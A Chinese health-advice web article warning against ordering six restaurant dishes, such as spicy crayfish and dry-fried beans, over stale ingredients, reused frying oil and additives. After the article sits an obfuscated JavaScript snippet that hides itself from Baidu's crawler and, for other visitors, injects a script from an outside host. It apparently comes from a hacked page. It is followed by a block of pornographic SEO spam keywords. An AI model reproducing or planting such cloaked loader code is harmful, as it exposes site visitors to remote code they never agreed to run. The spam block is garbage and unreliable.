當前位置:首頁 > 飲食 > 健康飲食 > 正文

去餐館吃飯打死都不要點這6道菜

2016-01-17 09:22:00  來源:360常識網   熱度:
導語:現在的人由于工作繁忙,自己做菜的人越來越少了,導致餐館的生意如火如荼。餐館的菜式多樣、味道也不錯,但是餐廳點菜是有很多門道的,有些菜打死都不要點!

去餐館吃飯打死都不要點這6道菜

去餐館吃飯打死都不要點這6道菜

去餐館千萬不要點的菜

1、麻辣小龍蝦

近兩年,麻辣小龍蝦成了餐桌上的“常見客”,卻很少有人想到這其中可能存在貓膩——如果菜肴中加入大量的辣椒、花椒和其他各種香辛料,或者加入大量的糖和鹽,就會讓味蕾受到強烈刺激,很難體會出原料的新鮮度,甚至無法發現原料是否已經有了異味。

現在市面上不少麻辣小龍蝦就是用不新鮮的冰凍蝦做成的,消費者在選擇時要特別注意。

2、水煮魚

烹調水煮魚往往需要大量的油,某些餐館為了降低成本,可能會在油上做手腳,因此烹調這類菜肴的油即便不屬于口水油或地溝油,質量也不會好太多,可能會選擇價格低廉的劣質色拉油,也有可能被反復加熱利用。反復高溫加熱會讓油脂發生反式異構等變化,可能帶來致癌風險。

此外,帶有干鍋、水煮、干煸、香酥等字樣的菜肴都容易出現這類問題。

3、杭椒牛柳

不少人都有這樣的疑問,現在有些餐館的杭椒牛柳肉質特別嫩,軟得和豆腐差不多,而自己在家卻做不出這樣的效果。這可能就是“嫩肉粉”的功勞。嫩肉粉中不但含蛋白酶和淀粉,往往還含亞硝酸鹽、小蘇打、磷酸鹽等配料,個別品種亞硝酸鹽含量也可能超標。

其中亞硝酸鹽能發色、防腐,但有致癌風險,小蘇打能破壞肉里面的維生素,而磷酸鹽會妨礙鈣、鐵等多種營養元素的吸收。

4、地三鮮

地三鮮的主要食材是土豆、茄子、青椒。這道菜首先需要往鍋內放油,燒熱,把茄子、土豆炸熟至金黃色后撈起,瀝油。但需要注意的是,土豆雖然是個健康的素菜,但經反復高溫油炸會產生丙烯酰胺等致癌物。

5、油燜茄子

油燜茄子不易消化,常吃會引起消化不良,以及飽食后出現胸口飽脹,甚至惡心、嘔吐、腹瀉,食欲不振等。常吃油炸食品的人,由于缺乏維生素和水分,容易上火、便秘。

6、干煸豆角

干煸豆角,聽起來似乎與過油無關,其實也多半是油炸過的。過油的干煸豆角不僅熱量超標,還存在安全風險。豆角中含有一種有毒蛋白叫凝集素,會引起中毒,刺激胃腸道,食用者會出現嘔吐、腹瀉、眩暈等癥狀。而在油炸時,豆角可能外焦里生。因此,一定要確保豆角煮熟,防止中毒事件的發生。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久国产精品99久久小说| 国产精品第一页爽爽影院| 国产成人久久久精品二区三区| 无码人妻精品一区二区三区东京热 | 久久精品国产99精品国产2021| 久久亚洲精品无码网站| 国产精品亚洲а∨无码播放| 精品无码综合一区二区三区 | 亚洲国产主播精品极品网红 | 国产精品久久久久久五月尺| 国产精品久线在线观看| 日韩精品一二三区| 亚洲中文字幕一区精品自拍| 久久99精品视免费看| 久久99精品久久久久久噜噜| 欧美日韩精品一区二区在线观看 | 国产av无码久久精品| 69国产成人综合久久精品| 久久精品免看国产| 国产午夜福利精品久久| 国产精品亚洲专一区二区三区| 亚洲午夜久久久精品影院| 一区二区日韩国产精品| 午夜精品福利影院| 亚洲国产精品午夜电影| 99re8这里有精品热视频免费| 精品无码一区二区三区水蜜桃| 精品国产乱码久久久久久人妻| 久久精品一区二区| 国内精品伊人久久久久网站| 黑人巨大精品播放| 国产精品国产AV片国产| 国产香蕉免费精品视频| 538精品视频在线观看mp4| 精品久久久久久国产| 国产精品无码专区在线观看| 国产最新精品视频| 精品久久久久久中文| 影院成人区精品一区二区婷婷丽春院影视| 亚洲国产精品成人综合色在线婷婷| 久久91精品国产一区二区|